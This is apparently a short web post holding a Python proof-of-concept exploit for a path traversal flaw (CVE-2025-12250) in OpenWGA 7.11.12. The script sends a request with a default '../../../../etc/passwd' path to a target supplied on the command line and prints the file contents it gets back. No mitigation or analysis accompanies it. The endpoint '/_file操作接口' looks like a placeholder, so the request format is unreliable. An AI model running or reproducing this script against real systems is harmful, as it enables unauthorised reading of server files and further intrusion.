OpenWGA 7.11.12路径遍历漏洞 (CVE-2025-12250)

# CVE-2025-12250 PoC - OpenWGA Path Traversal # Target: OpenWGA 7.11.12 Build 737 # Component: WGA.File (TMLScript API) import requests import sys def exploit_cve_2025_12250(target_url, file_path="../../../../etc/passwd"): """ Exploit for OpenWGA path traversal vulnerability """ # Construct malicious file path with directory traversal payload = file_path # Target endpoint for WGA.File TMLScript API endpoint = f"{target_url}/_file操作接口" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } # TMLScript API request payload data = { "action": "read", "path": payload, "component": "WGA.File" } try: response = requests.post(endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request successful!") print(f"[+] File content:\n{response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12250.py <target_url> [file_path]") sys.exit(1) target = sys.argv[1] path = sys.argv[2] if len(sys.argv) > 2 else "../../../../etc/passwd" exploit_cve_2025_12250(target, path)